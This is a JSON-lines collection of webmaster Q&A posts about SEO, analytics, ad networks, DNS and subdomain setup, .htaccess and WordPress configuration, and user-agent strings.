{"id":"42992","title":"Can using microdata from schema.org for local business hurt its exposure nationally?","text":"Here's the dilemma: This website ranks in the first page for almost all of its products, but it is a local business. I should actually say, 90% of its business are still local, but we are trying to get more national exposure. One of the products sold has a CPC very high on google adwords and some very big companies advertise for it. The problem is that when searching locally for that particular product, this business does not appear in the \"local results\" section of google for example, nor does it appear in the first page. Having it appear locally is a must, while nationwide is a plus. Now, the question is: If i use microdata from schema.org to define this business as local (in every page, or only in the contact page, for example), will it help me get that local exposure on google? Furthermore, could that hurt the nationwide exposure? I'm afraid that defining it as local may mean to search engines that this company does not do business nationally. Resources: http:\/\/schema.org\/LocalBusiness, http:\/\/microdatagenerator.org\/"}
{"id":"3909","title":"What's the best workflow for creating websites fast & cheap, but that work as needed?","text":"Have some ideas, but for now I'm going to leave it description as the question. If you have any questions, just ask -- thanks!! **UPDATES:** * * * **Guidelines:** 1. Workflow makes the most frequent tasks easy, and less frequent tasks achievable. 2. Workflow covers 80% of the tasks. 3. Solutions use smart default settings. **Focus of the Question:** The focus is the production of front interfaces; HTML, CSS, JS, generic content\/graphic source, etc. Also, I figure that if the workflow required a CMS that the template would be based on existing one implementable on a given system. Again, thanks for any and all post!! -- **Any real answers will get an up vote by me, and I will select an answer.** Cheers!"}
{"id":"32598","title":"Indexing issues when the SAME page has meta noindex when accsessed from the sites front page and meta index when accessed from sites archives","text":"People post different questions on my site. I have a php code which searches for duplicate questions before putting them inside my ARCHIVES. Due to the sites architecture and coding there is a time delay of about 5 minutes where the same question has meta noindex when accessed from the site's front page, and meta index when accessed from my archives. Could that cause indexing problems? confuse google? Ty"}
{"id":"6746","title":"Can I use Google Analytics with commercials from other networks?","text":"Does Google Analytics allow me to configure and evaluate statistics like CTR etc. for commercials from networks other than Google Adsense?"}
{"id":"6741","title":"Bust some SEO myths for me?","text":"While I'm not an expert at SEO, I know a little, and I have had someone tell me two things that I believe to be false, but just cannot convince him. Here are the statements he makes: 1) If more people visit your site, you'll get better SEO rankings. The context here is sending out an email campaign and people clicking from the email campaign through to the site. I don't think this has any factor in SEO rankings. I _do_ think that if people search for keywords where your site comes up, and click your site more often than those above you in the rankings, that you may progress, but I'm not even 100% sure on that. Am I right though that people clicking through an email to your site won't affect your SEO rankings? 2) Alexa rank is a measure of SEO importance \/ rankings. From what I know, Alexa rank is based purely off of people visiting your site who have the Alexa toolbar (or other software?) installed. This means that not only is it not counting all your visitors, but it's probably counting a specific segment, most likely more web savvy folks who have the Alexa toolbar installed. I consider myself OK at computers\/web development, etc., and I've never had the Alexa toolbar installed. Anyway, is #2 a myth as well? Is there any evidence to support these two?"}
{"id":"6743","title":"How can i style a link and a submit button the same way","text":"I'm currently in css form hell on my website. I'd like to skin the **submit button** and the **cancel link** so they look the same. I tried to use two buttons to make it easier but since their behavior is very different, it makes sense to use two different tags, and i get some nice \"no surprises\" side-effects. So far, though, it has been a process fraught with disappointment and bitter failure; i tried to get both tags to play nicely one next to the other but all my css attempts are a waste of time. Either the link jumps up by a few pixels, or the submit button has its content slightly but noticeably lower, etc, etc... Is there a way to skin both tags with the same appearance?"}
{"id":"55565","title":"Slow site because of WordPress Evolve theme","text":"I've installed WordPress lastest version in my site. It is using Evolve theme. Demo of this theme is here. The original demo is also slow. Slowing is like that, site is waiting for 9-10 seconds for opening, server is not responding. Then it is opening. I tried at localhost, it is slow at my localhost. I changed to the default theme, my site gets fast. How can I find to problem of this theme? Here the results of `pingdom.com` speed test. "}
{"id":"60554","title":"Is it better for SEO if the URL has the same path as the breadcrumb?","text":"My product URL is `example.com\/categorykeyword2\/product`. The actual path (breadcrumb) is `example.com\/categorykeyword1\/categorykeyword2\/product`. Would it be better in terms of SEO if the URL was the same as the breadcrumb?"}
{"id":"48608","title":"Is it possible to use both align and size parameters for images in MoinMoin?","text":"I'm getting a `500 Internal Server Error` if I try something like `{{attachment:image.png|alt text|width=100 align=\"left\"}}`, both in the wiki I am actually trying to edit (https:\/\/live.gnome.org\/) and in the MoinMoin wiki sandbox (http:\/\/moinmo.in\/action\/edit\/WikiSandBox). The examples at moinmo.in\/HelpOnLinking show how to use both parameters, but never combining them in the same image. It definitely seems to be possible to use more than one parameter (e.g. width and height), but the combination of width and align apparently brings the wiki engine down. Is there something I'm overlooking? How can I add a thumbnail of an image to a page in a MoinMoin wiki without using the default alignment (inline with text)?"}
{"id":"31938","title":"Failing with Adsense \/ How to get $ PC","text":"So, I am literally just starting out with google adsense. I have implemented google adsense ads from (1) account and from (2) different channels, per website they're on. (2 Wordpress Websites, activated with 'GoogleAdsense Plugin' for WordPress). They are implemented at the bottom of every post on my 2 Wordpress websites within the 'Blog' sections. My adsense dashboard is stating I've received a few clicks; but across it still states my account earnings and balance at $0.00. When \/ How will I start seeing money earned to my account?"}
{"id":"56469","title":"Track Email with Google user contents img resource and redirecting to my website","text":"I'm using Email tracking services of some Email sender company. It is achieved through requesting img resource when opening email. Here is the code inserted into HTML message: `<img src=\"https:\/\/ci4.googleusercontent.com\/proxy\/TObr7aARe70s=s0-d-e1-ft#http:\/\/www.mywebsite.com\/TrackEmail?j=eyJ1IjoiMQ4In0%3D&r=0.614693022798747.gif\" width=\"2\" height=\"1\">` I'm interested in how eventually the request will come to my website. Can anyone please explain me? I think the magic is somewhere in this part `...d-e1-ft#htt...`."}
{"id":"60559","title":"Will i18next affect SEO? What about screen readers?","text":"I'm considering using i18next for translating text. But then it suddenly struck me; If labels \/ text is retrieved through javascript, won't that affect SEO? And what about screen readers for visual impaired users?"}
{"id":"50147","title":"Sitemaps for growing content and googlesitemapgenerator","text":"The number of URLs on my website is constantly growing (by 10-50 per week or so). Should I: 1. Regularly submit an updated sitemap including all URLs. 2. Have a sitemap of only the static content of my website. 3. Have some tool which automatically creates sitemaps on any changes. As for 3. is googlesitemapgenerator useful in this respect? I am a bit anxious allowing a beta product mess with my Apache. Is anybody using it or has another recommendation of similar tools?"}
{"id":"35050","title":"What does it mean when a User-Agent has another User-Agent inside it?","text":"Basically, sometimes the user-agent will have its normal user-agent displayed, then at the end it will have the \"User-Agent: \" tag displayed, and right after it another user-agent is shown. Sometimes, the second user-agent is just appended to the first one without the \"User-Agent: \" tag. Here are some samples I've seen: The first few contain the \"User-Agent: \" tag in the middle somewhere, and I've changed its font to make it easier to to see. > Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident\/4.0; GTB6; `User- > agent:` Mozilla\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); SLCC1; .NET > CLR 2.0.50727; .NET CLR 3.0.04506) > > Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\/4.0; GTB6; MRA > 5.10 (build 5339); `User-agent:` Mozilla\/4.0 (compatible; MSIE 6.0; Windows > NT 5.1; SV1); .NET CLR 1.1.4322; .NET CLR 2.0.50727) > > Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\/4.0; `User- > agent:` Mozilla\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); .NET CLR > 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) > > Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\/4.0; `User- > agent:` Mozilla\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); .NET CLR > 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152) Here are some _without_ the \"User-Agent: \" tag in the middle, but just two user agents that seem stiched together. > Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\/4.0; Mozilla\/4.0 > (compatible; MSIE 6.0; Windows NT 5.1; SV1); .NET CLR 3.5.30729) > > Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\/4.0; GTB6; > IPMS\/6568080A-04A5AD839A9; TCO_20090713170733; Mozilla\/4.0 (compatible; MSIE > 6.0; Windows NT 5.1; SV1); InfoPath.2) Now, just to add a few notes to this. I understand that the \"User-Agent: \" tag is normally a header, and what follows a typical \"User-Agent: \" string sequence is the actual user agent that is sent to servers etc, but normally the \"User-Agent: \" string should not be part of the actual user agent, that is more like the pre-fix or a tag indicating that what follows will be the actual user agent. Additionally, I may have thought, hey, these are just two user agents pasted together, but on closer inspection, you realize that they are not. On all of these dual user agent listings, if you look at the opening bracket \"(\" just before the \"compatible\" keyword, you realize the pair to that bracket \")\" is actually at the very end, the end of the second user agent. So, the first user agents closing bracket \")\" never occurs before the second user agent begins, it's always right at the end, and therefore, the second user agent is more like one of the features of the first user agent, like: \"Trident\/4.0\" or \"GTB6\" etc etc... The other thing to note that the second user agent is always MSIE 6.0 (Internet Explorer 6.0), interesting. What I had initially thought was it's some sort of Virtual Machine displaying the browser in use & the browser that is installed, but then I thought, what'd be the point in that? Finally, right now, I am thinking, it's probably soem sort of \"Compatibility View\" type thing, where even if MSIE 7.0 or 8.0 is installed, when my hypothetical the \"Display In Internet Explorer 6.0\" mode is turned on, the user agent changes to something like this. That being, IE 8.0 is installed, but is rendering everything as IE 6.0 would. Is there or was there such a feature in Internet Explorer? Am I on to something here? What are your thoughts on this? If you have any other ideas, please feel free to let us know. At the moment, I'm just trying to understand if these are valid User Agents, or if they are invalid. In a list of about 44,000 User Agents, I've seen this type of Dual User Agent about 400 times. I've closely inspected 40 of them, and every single one had MSIE 6.0 as the \"second\" user agent (and the first user agent a higher version of MSIE, such as 7 or 8). This was true for all except one, where both user agents were MSIE 8.0, here it is: > Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\/4.0; Mozilla\/4.0 > (compatible; MSIE 8.0; Win32; GMX); GTB0.0) This occured once in my 40 \"close\" inspections. I've estimated the 400 in 44,000 by taking a sample of the first 4,400 user agents, and finding 40 of these in the MSIE\/Windows user agents, and extrapolated that to estimate 40. There were also similar things occuring for non MSIE user agents where there were two Mozilla's in one user agent, the non MSIE ones would probably add another 30% on top of the ones I've noted. I can show you samples of them if anyone would like. There we have it, this is where I'm at, what do you guys think?"}
{"id":"50141","title":"Social media measurement with Google Analytics","text":"I work for a non profit and we are currently trying to develop a system to measure and evaluate our social media channels (Facebook and Twitter). We would like to track a variety of social metrics, including, but not limited to: * Twitter * # of followers * # of mentions * # of retweets * Facebook * # of likes * # people talking about * # of page views We are currently using a paid platform for this. I wondered if there is a way to configure Google Analytics to do this?"}
{"id":"39045","title":"Is it possible to export comments from TypePad Connect?","text":"Note that I'm not talking about TypePad, but TypePad Connect, their hosted commenting product. I see comments in their company blog from 2008 (!!!) saying they were working on an export feature, but I don't think it ever launched. So... is there any way to get old comments out of a TypePad Connect system? Or are they trapped in there forever?"}
{"id":"9952","title":"What are some internet trends that you've noticed over the past ~10 years?","text":"I'll give an example of one that I've noticed: the number of web sites that ask for your email address (GOOG ID, YAHOO! ID, etc.) has skyrocketed. I can come up with no legitimate reason for this other than (1) password reset [other ways to do this], or (2) to remind you that you have an account there, based upon the time of your last visit. Why does a web site need to know your email address (Google ID, etc.) if all you want to do is... * download a file ( **no legit reason whatsoever** ) * play a game ( **no legit reason whatsoever** ) * take an IQ test or search a database ( **no legit reason whatsoever** ) * watch a video or view a picture ( **no legit reason whatsoever** ) * read a forum ( **no legit reason whatsoever** ) * post on a forum (mildly legit reason: password reset) * newsletter (only difference between a newsletter and a blog is that you're more likely to forget about the web site than you are to forget about your email address -- the majority of web sites do not send out newsletters, however, so this can't be the justification) * post twitter messages or other instant messaging (mildly legit reason: password reset) * buy something (mildly legit reasons: password reset + giving you a copy of a receipt that they can't delete, as receipts stored on their server can be deleted) On the other hand, I can think of plenty of very shady reasons for asking for this information: 1. so the NSA, CIA, FBI, etc. can very easily track what you do by reading your email or asking GOOG, etc. what sites you used your GOOG ID at 2. to use the password that you provide for your account in order to get into your email account (most people use the same password for all of their accounts), find all of your other accounts in your inbox, and then get into all of those accounts 3. sell your email address to spammers These reasons, I believe, are why you are constantly asked to provide your email address. I can come up with no other explanations whatsoever. Question 1: Can anyone think of any legitimate or illegitimate reasons for asking for someone's email address? Question 2: What are some other interesting internet trends of the past ~10 years?"}
{"id":"22997","title":"Domain Name protection","text":"I have purchased a domain name and I don't have plan to launch my website in the next few months. But one thing I am worrying about is that if in the mean time someone else uses my domain name for his\/her website? Is it possible to do so? And if yes, how to protect my domain name?"}
{"id":"19254","title":"Can I post other ads than Google with adnsense","text":"Along with my google ads can I apply for other ad media and post their ads too with Google ads. I wanna post more ads. Is it allowed to use more than one adsense program and post both media's ads on same page?"}
{"id":"19255","title":"What makes a SSL certificate \"signed\"?","text":"When you buy a SSL certificate from Comodo, it is signed by Comodo and therefore trusted. How is it signed though? Why can't anyone sign the certificate pretending to be Comodo?"}
{"id":"16754","title":"How can I obtain a domain that is abandoned?","text":"There is a particular domain name that I'm interested in, but when you enter the domain in a browser the browser says \"Domain has no index file\", which doesn't appear to be a browser message, but a server page on the hosting software. So point is the site appears that it isn't being used, but it exists. The contact info (both email and phone number) in the WhoIs record are bad. The email I sent to the email address bounced back to me, and when I called the phone number a person answered (apparently residential line) who said there was nobody there by that name. It says it's been registered since 2003 and is registered until 2014. UPDATE: I did try filling a report with GoDaddy, which WhoIs says is the registrar of the domain, about two weeks ago. I just checked the WhoIs info again and it looks like they've removed the name, email address, phone number, and address of the domain registrant."}
{"id":"16758","title":"What is the diffrence between paypal Paypal Payments Standard and Paypal Express Checkout?","text":"I need to implement PayPal on my web page, and I don't know which one to use, Paypal Payments Standard or Paypal Express Checkout or both. To me they seems pretty much the same."}
{"id":"56793","title":"Google fetched a title from the body instead of keyword stuffed title tags - could that be a problem for SEO?","text":"I have a website that contains keywords repeated in the `<title>` tag, so Google fetched the most relevant keywords from the body of the page. There is no problem so far and my website is ranking 4th or 5th in SERP for my main keywords. My question is: Will Google penalize my site or will it create a negative impact on Google since Google neglected my Meta title and fetched a title from the body instead? **Note:** I can modify my `<title>` tag, but my keyword ranking is good, and also my website has 10 years of domain age and I'm afraid that if I change its titles, the SERP position may get very impacted."}
{"id":"51929","title":"SEO - how to tell search engines what the preferred URL is for content of part of a page","text":"Given a page which displays a list of posts in chronological order on one URL, let's say: www.mysite.com\/listofposts Each of these posts also has it's own URL, which displays the list of posts but with the selected post at the top and highlighted: www.mysite.com\/post\/1234 The problem is that when search engines are indexing the content, because the URL for an individual post actually has content from other posts on it, I am finding that quite often content is indexed against the wrong URL. Is there a way of telling search engines that different parts of a page should be indexed against different URL's? I've seen Canonical URLs allow you to indicate the preferred URL for content on a page by page basis, but is there a way to do it for a situation like mine, where I have a page made up of several different bits of content each of which have their own canonical preferred URL?"}
{"id":"58802","title":"Will Google index a paragraph of text that is hidden by default?","text":"I have a paragraph of text that I would like to count toward the content of a page, but users have to click to make the text appear. Can I and if so what is the best way to implement this without getting penalized by Google?"}
{"id":"52903","title":"Fake Links Showing up in Google Webmaster Tools","text":"Google Webmaster tools is reporting a large increase in 'not found errors' on my site, and I see approximately 1700 'Not Found Errors over the past 2 months. All of them are for a url that is formatted like: http:\/\/mydomain.com\/click.php?c%3EdHm7fnGkc3Smdz6kc31%3E'dmjdlgsbve%3E2'lfzxpset%3EQfbs'sbol%3E2'f%3Evt%3Cvt%3C79%3C2%3C2%3C54528243%3Cgmbnjohpspbe%3C2%3C6224'vsm%3Eiuuq%264B%263G%263Gxxx%2Fopdmjdlz%2Fdpn%263G'gffe%3Eopqbz'qsjdf%3E'tbq%3E%3A84%3A9g54e662db639%3A28eeb2cc8bb8e9'zbsht%3Exxx%2Fopdmjdlz%2Fdpn Google says these are linked from: http:\/\/mydomain.com\/index.php?Keywords=Pear&search_type=related2&cat2=Lemon+Cake&r=c%3EdHm7fnGkc3Smdz6kc31%3E'f%3Evt%3Cvt%3C79%3C2%3C2%3C27748763%3Ctuzmf2%60dvtupn\/dtt%3C3%3Cjoufsdptnpt%60bggjmjbuf%603%60e3s%60efsq%3Cgmbnjohpspbe%3Cgmbnjohpspbe%3C656178%3C6224%3Cdmfbo%3Cmjtujoht%3Czbipp%3C'jqvb%60je%3E:84:9g54e662db639:28eeb2cc8bb8e9'enybsht%3Eg4dc139e6673d:812b:b::d8e34:9fe9&rd=1 When I browse to the url Google says these are linked from (both using my browser, and the fetch by Google tool), I don't see any links on the page to click.php. These links are supposedly coming from MY domain \/ server, but click.php does not even exist on my server. When I look through my server logs, I do not see any of the index.php? urls this says they are accessed from. What am I missing here? Is the link getting encoded in the url or something? How can I fix this? I would REALLY appreciate some help in figuring this out. **Update:** I had purchased a domain (that was previously parked), and moved my site to it a few months ago. Apparently these links existed on the parked domain, and Google has gone through and crawled all ~1700 of the links twice now. Once a few months ago, and once 2 days ago. Is this something that will affect my ranking in Google? Is there any way to notify Google that all of these links are gone \/ incorrect? Should I use the 'remove urls' tool in webmaster tools?"}
{"id":"25761","title":"How to point Google Apps subdomain to external websites?","text":"I have registered for a domain in Google Apps. It is automatically registered with GoDaddy. I was wondering how can I make a subdomain point to my blog: `blog.mydomain.com` => `myname.blogspot.com` `photo.mydomain.com` => `flickr.com\/photos\/mystream\/` How can this be done? I can access the zone file editor (DNS Manager) in `godaddy.com` but I am not sure if I need to change the _Cname\/A_ records for this."}
{"id":"64740","title":"How to track in Google Analytics registrations coming from Google AdWords ads?","text":"I created a campaign in `Google AdWords` and some ads in it and gave them URLs like mydomain.tld\/registration\/?utm_campaign=mycampaing&ad=x mydomain.tld\/registration\/?utm_campaign=mycampaing&ad=y mydomain.tld\/registration\/?utm_campaign=mycampaing&ad=z All ads lead to the registration page. A registration is a visit of the page mydomain.tld\/registration-completed\/?user={ID} So I can track the registrations in Google Analytics. I just go to `Behavior -> Site Content -> All Pages` and filter the pages to `registration- completed`. But how can I see, **how many** and **which users** have registered, after they came from an ad of a campaign, e.g. `utm_campaign`? And how can I also track this for a single ad of the campaign, e.g. `x`?"}
{"id":"25767","title":"Direct-Linking file hosting?","text":"Hello I'm developing a project, and I need to know is there a file hosting which support direct links to txt, zip? I have tried some free hosting sites, but all I do is get 403 forbidden when trying to access the direct link. Thank you"}
{"id":"21865","title":"Website on S3: Multiple subdomains to one Bucket?","text":"I'd like to host a website on **Amazon S3**. What's the best practice to make a site accessible from both `example.com` and `www.example.com`?"}
{"id":"21862","title":"Does using LiteSpeed instead of Apache speed up WordPress?","text":"I've read that Litespeed is a lot faster than Apache. I use mostly WordPress and Joomla sites and am looking for a new server. Will I see a significant increase in speed of WordPress being on a LiteSpeed server?"}
{"id":"49534","title":"Am I using the correct data type in schema.org for a job site?","text":"I'm having a hard time chosing the best data type in `schema.org` for my local job site. We're offering premium job postings for employers. Currently, I'm using the data type `local business` with Google Structured Data Markup Helper. Am I doing this correctly?"}
{"id":"33393","title":"joomla 2.5.6 menu related","text":"On my website : www.openlx.com, in the submenu (below the main menu - \"Home\"), the URL currently looks like: http:\/\/openlx.com\/home\/aboutus.html Same way, in all the sub-menus to the main-manu \"Home\", the word \"home\" is part of the URL. I want to remove this word \"home\" from the URL, and same for all the sub-menus to all the menus."}
{"id":"21649","title":"Website Name shown at the end of HTML Titles","text":"A google search for > site:cnn.com cnn returns results like > Kenyans one dance away from semifinals - Sports **- CNN.com** > > Health News - Medical, Mental and Dental Treatment ... **- CNN.com** 1. Is it possible to **not show** the website name **in the search result titles**? 2. Where does google read the name of the site from?"}
{"id":"64687","title":"Google Analytics Views - Why Use Them?","text":"I've been reading about Google Analytics views but still not sure why I would use them. I'm the only person in the company who understands and uses Google Analytics. We have no subdomains. Is there any reason why I would want to use views? Google Analytics has been going for some years now and I just created a copy of the original view but this has zero data, so I can't see how it would benefit me."}
{"id":"21467","title":"Can the webpage title be changed after site has been loaded.","text":"Can the web page title be set to be dynamic? I want to let some part to be updated in title, if any changes occur, an automatic update resulting in a bit of word addition to the title. Example : the original one : \"what is the title name\" Now after setting to automatic update when a event as an answer is posted - \"what is the title name (1 answer)\""}
{"id":"31349","title":"Is there an app or service that allows a customer to log in and submit design requests?","text":"I have several clients with several requests coming into my email. Is there a website that would give me the ability to receive client design requests and then schedule them for me?"}
{"id":"3658","title":"Using rel=canonical with syndication","text":"I work at a site which allows syndication of content (via API's and data dumps). We are finding that a number of sites which republish our content are appearing higher in Google search results, even though we're the original publisher. This is frustrating. We are considering making rel=canonical part of our attribution requirements. Google says it's legitimate to use it across domains, and in syndication scenarios. Have you done this, and does Google consider the canonical URL in search rankings? Will it help us in reducing such SERP \"spam\"?"}
{"id":"24104","title":"Is there an alternate resource similar to Mozscape by SEOmoz?","text":"I was wondering if there is an alternate (free or paid) resource similar to SEOmoz's Linkscape (now Mozscape) where the entire web is indexed and a website's entire link profile is scraped and documented."}
{"id":"51939","title":"Should I leave old events in my sitemap?","text":"Should I leave old events in my sitemap that have passed, or remove them? The sitemap is quite huge and I didn't know if that was OK."}
{"id":"3654","title":"Google insight question","text":"I am checking the word mobile on google insight. http:\/\/www.google.com\/insights\/search\/#q=mobile&cmpt=q I see a bar with mobile ]]]]]]]]]]]]] 62 Then on google help page - I get this. However, I am unable to understand. **The numbers on the graph reflect how many searches have been done for a particular term, relative to the total number of searches done on Google over time. They don't represent absolute search volume numbers, because the data is normalized and presented on a scale from 0-100.** **My question is what does the number 62 determine? Any ideas?**"}
{"id":"65551","title":"View the campaign terms for only a specific medium In Google Analytics","text":"I'm using the `utm_term` parameter for links in my email campaigns. I'd like to filter out the parameter from my master profiles. That is, removing `utm_term=keyword` for visits with `utm_medium=email`, so the organic keyword results are not skewed, while having a view which includes the term for further analysis. What are the correct order and filters to accomplish this?"}
{"id":"55024","title":"site hacked but positions not back","text":"My site was hacked about 6 months ago. I managed to finally get around to removing the malicious code, and Google removed the warning from my site. However, my traffic has not yet returned to where it was pre-hack. How long does it usually take for traffic to return after malware is removed?"}
{"id":"26072","title":"Automatically appearing contact form like Kiss Insight?","text":"I have been using Kiss Insight which is great to collect customers' feedbacks. However, this is only an one-way communication because we can't answer some of customers concerns. Is there any hosted solution that works like Kiss Insight but allows customers to enter their email and you can reply back?"}
{"id":"2526","title":"Web hosting services","text":"What are the best hosting services?"}
{"id":"58306","title":"Simplest way to lock down a beta web site but allow paypal payments","text":"Perhaps a strange question, but I have a website that's not ready for production use online in order to test paypal payments. I had locked down the site using a .htaccess file however this also prevented ipn notifications from hitting my ipnlistener which meant i was unable to keep track of payments successfully being made. so I temporarily remove the htaccess file to allow this. Is there a way to lock a site down with password protection but allow certain scripts to run? Bit of a noob at this thing"}
{"id":"20590","title":"Poll component not showing Home link in breadcrumb","text":"With the joomla's default Poll component, when I go to vote, and it takes me to the results page, the Home link disappears from the Breadcrumb navigation. Is there a way to make the breadcrumb navigation always show Home when in the poll results page? NOTE: We're still running an older version: Joomla! 1.0.15 UPDATE: Checked the CHANGELOG.php, and on June 23, 2006, this issue was supposedly fixed. However, it doesn't seem so."}
{"id":"45614","title":"Turning openbase_dir off using .htaccess","text":"I'm trying to run a script on my shared hosting account, I keep getting an error relating to `open_basedir`, which I understand would normally be turned off in the _php.ini_ file, which I don't have access to. Speaking with the host they recommended that I put this line `php_flag open_basedir off` in my _.htaccess_ file, so it now looks like this: <Files ~ \"^\\.(htaccess|htpasswd)$\"> deny from all <\/Files> AuthUserFile \/var\/www\/vhosts\/mydomain.co.uk\/httpdocs\/pri\/.htpasswd AuthGroupFile \/dev\/null AuthName \"Please enter your ID and password\" AuthType Basic require valid-user order deny,allow php_flag open_basedir off But I still cant get the script to run, have I implemented it correctly? Is there a line in the `phpinfo()` output that I can view to tell if its worked?"}
{"id":"11462","title":"Registration vs Anonymous","text":"As of late, I've been in quite a bind. I have this website which is a simple Q\/A. Just for fun -- being built with all that good stuff (PHP\/MySQL\/jQuery\/etc) Anyways, I found out I cannot do MANY THINGS without getting a positive ID. Without registration (them becoming anonymous), I can't keep track of who's who. Sure I can use IPs or cookies but those are not fool-proof. I can't do things like \"favorite questions\", \"upvote questions\", \"email notices\", spamming cut-down, etc ... among other things. If you DO register, you WOULD be able to do experience those feature thus making the website more fun to visit. However, at the expensive of not registering and giving up those features, I am at a bind. Should I give up those features and have no-registration anonymous posting Q\/A or make them sign up with three forms... email, password, password check, SUBMIT! Then login-logoff... What do you think? (Sorry if I put this in the wrong place...)"}
{"id":"57229","title":"What is the replacement for Google's \"Search Within Results\" feature?","text":"On one of the sites that I maintain, I used a link to allow Google Search with the \"Search Within Results\" (`\/swr`) feature as follows: `http:\/\/www.google.fr\/swr?q=site:http:\/\/bio.m2osw.com&hl=fr&lr=&swrnum=404` That returns a 404 page now however. I tried it with HTTPS, but the same thing occurs. I also noticed that Google started to use `#q=...` instead of `?q=...`. In any event, is there a simple replacement for the `\/swr` feature?"}
{"id":"48265","title":"Penalized website using noindex,follow","text":"This is an interesting question I was wondering if anyone had any experience with. If a website is penalized for a keyword because of excessive spam links pointing to the homepage with said keyword as the anchor text, could you solve this problem by using a [noindex,follow] tag on the homepage and optimizing a different page for the same keyword?"}
{"id":"43176","title":"Does ranking depend on the number of pages in a website?","text":"Assuming a website offers a great service on one unique page, will it be negatively impacted regarding ranking because this website URL only has one page? In other words, is there a ranking benefit in having many pages in a given website? Or does it not matter, ranking is always per page, not per website?"}
{"id":"43173","title":"Subdomain 000Webhost","text":"I'm currently learning to create a blog using wordpress.org. My site is hosted free on 000webhost. I have trouble creating a Subdomain for my website. This is what I have done so far. Somebody please guide me **Main Domain work correctly with these settings** **DNS Setting** Point A(Address) \"IP Address\" to @ Point A(Address) \"IP Address\" to www **Wordpress Setting** WordPress Address (URL) = http:\/\/www.mydomain.com Site Address (URL) = http:\/\/www.mydomain.com **000Webhost Setting** Parked Domains = http:\/\/mydomain.com Created a database for maindomain Copied Wordpress into \/public_html\/ * * * **Subdomain doesnt work with these settings** **DNS Setting** Point A(Address) \"IP Address\" to subdomain **Wordpress Setting** WordPress Address (URL) = http:\/\/subdomain.mydomain.com Site Address (URL) = http:\/\/subdomain.mydomain.com **000Webhost Setting** Added a Subdomain = http:\/\/subdomain.sample.site.net Created a database for subdomain Created a folder including copied wordpress in \/public_html\/subdomain"}
{"id":"5067","title":"Building a New Website","text":"Let me begin by stating that I'm not a professional web designer. I need to create a website for a small company, owned by a friend. I want to make sure that whatever I do can be extended in the future & built upon when required. I'm confused whether I should start from scratch or use a framework, such as Drupal or Joomla. Any pointers? By the way, the website has the usual suspects: products, contacts, about us, etc. **Edit:** In response to Joshak's & Dave's answers, there are no plans to sell directly from the website. Content changes will take place every 3 months or so."}
{"id":"58024","title":"Apache HeaderName does not work in .htaccess","text":"So I have a .htaccess file in a subdirectory that contains a list of folders. In the main directory I have a .htaccess file that contains: Options +Indexes IndexOptions FancyIndexing AddType text\/html .php Addhandler application\/x-httpd-php .php HeaderName \/header.php As a test inside header.php I have: <?php TEST APACHE HEADER ?> I still see \"Index of [Directory]\" instead of my static title, What Am I doing wrong? EDIT: I've even tried `echo \"TEST THIS DIRECTORY\";` and still does not work."}
{"id":"5062","title":"Does setting document.domain via script interfere with Google Analytics?","text":"I have a site, `www.example.com`, that displays some secure content from `forms.example.com` in iframes. To enable cross-frame navigation, pages on both sites use JavaScript to set the `document.domain` to just \"example.com\". I am using Google Analytics on www.example.com, but the GA site is not showing any data. It indicates that the tracking code is found (the status icon is a green checkmark), but no data is reported. The GA profile lists the website as \"www.example.com\". Is this a supported scenario? Is my script interfering with the GA code in some way?"}
{"id":"34793","title":"Using iframes is still considered bad?","text":"Back in the early 2000's using (i)frames was a big no no for developers. Although they made development easier, it was shunned in every circle and various reasons. My question is, is it still advised not to use (i)frames? Although there are plenty good reasons to use them? ( e.g. separating navigation from content etc.)"}
{"id":"38807","title":"Pros and cons of creating a print friendly page to remove the use of pdfs?","text":"the company I work for has a one page invoice that uses the library `tcpdf`. they wanted to do some design changes that I found are just incredibly difficult for setting up in `.pdf` format. Using html\/css I could easily create the page and have it print very nicely, but I have a feeling that I am over looking something. What are the pros and cons of setting up a page just for printing? What are the pros and cons of putting out a `.pdf`? I could also use the `CSS` inline so that if they wanted to download it and open it they could."}
{"id":"52549","title":"Authoritative database for storing whois data for .com gTLD","text":"Since VeriSign is the Registry operator for the .com, .net (and other gTLDs) shouldn't they be keeping a database of all the .com domains that are registered? If they are not responsible for this, then which authority is? I would like to do a whois lookup but I would like to query the most authoritative database."}
{"id":"17406","title":"Does Stack Overflow use a microformat for questions\/answers?","text":"Recently when I have seen Stack Overflow results in Google, I have seen something like this:  Note the text, \"9 answers\". Does Stack Overflow do anything special to get this shown? I have noticed a similar Rich Snippet on Yahoo Answers, which also said \"Solved\". I skimmed the source of both pages and couldn't see anything specific that looked like a microformat. There is nothing on schema.org specifically about Q&A. Is Google treating these sites specially?"}
{"id":"48602","title":"Should I create zone for each domain that I want to host on my server","text":"I'm setting up a web hosting on my VPS, I want to host several websites on my vps, I have two domains, domain1.com and domain2.com and a website for each hosted on iis, I know that I should add these host names to my dns. I have a zone named domain1.com, when I want to add domain2.com as new host it will automatically set FQDN to domain2.com.domain1.com How should I config my DNS? Thanks for your help."}
{"id":"13318","title":"Are there huge differences between Safari versions on Windows and Mac OS?","text":"I have recently engaged in a conversation where were people defending that you should test your websites on Safari for Windows and on Safari for Mac, because they're very different. As a webmaster, there is this constant concern on having my web applications or websites running on every browser, but I don't have a Mac available for me to try the performance and\/or rendering engine. Long story short: are there huge differences between Safari for Windows and Mac? Does anyone use Safari for Windows as their main browser and can tell me if it's important for me to test on it too?"}
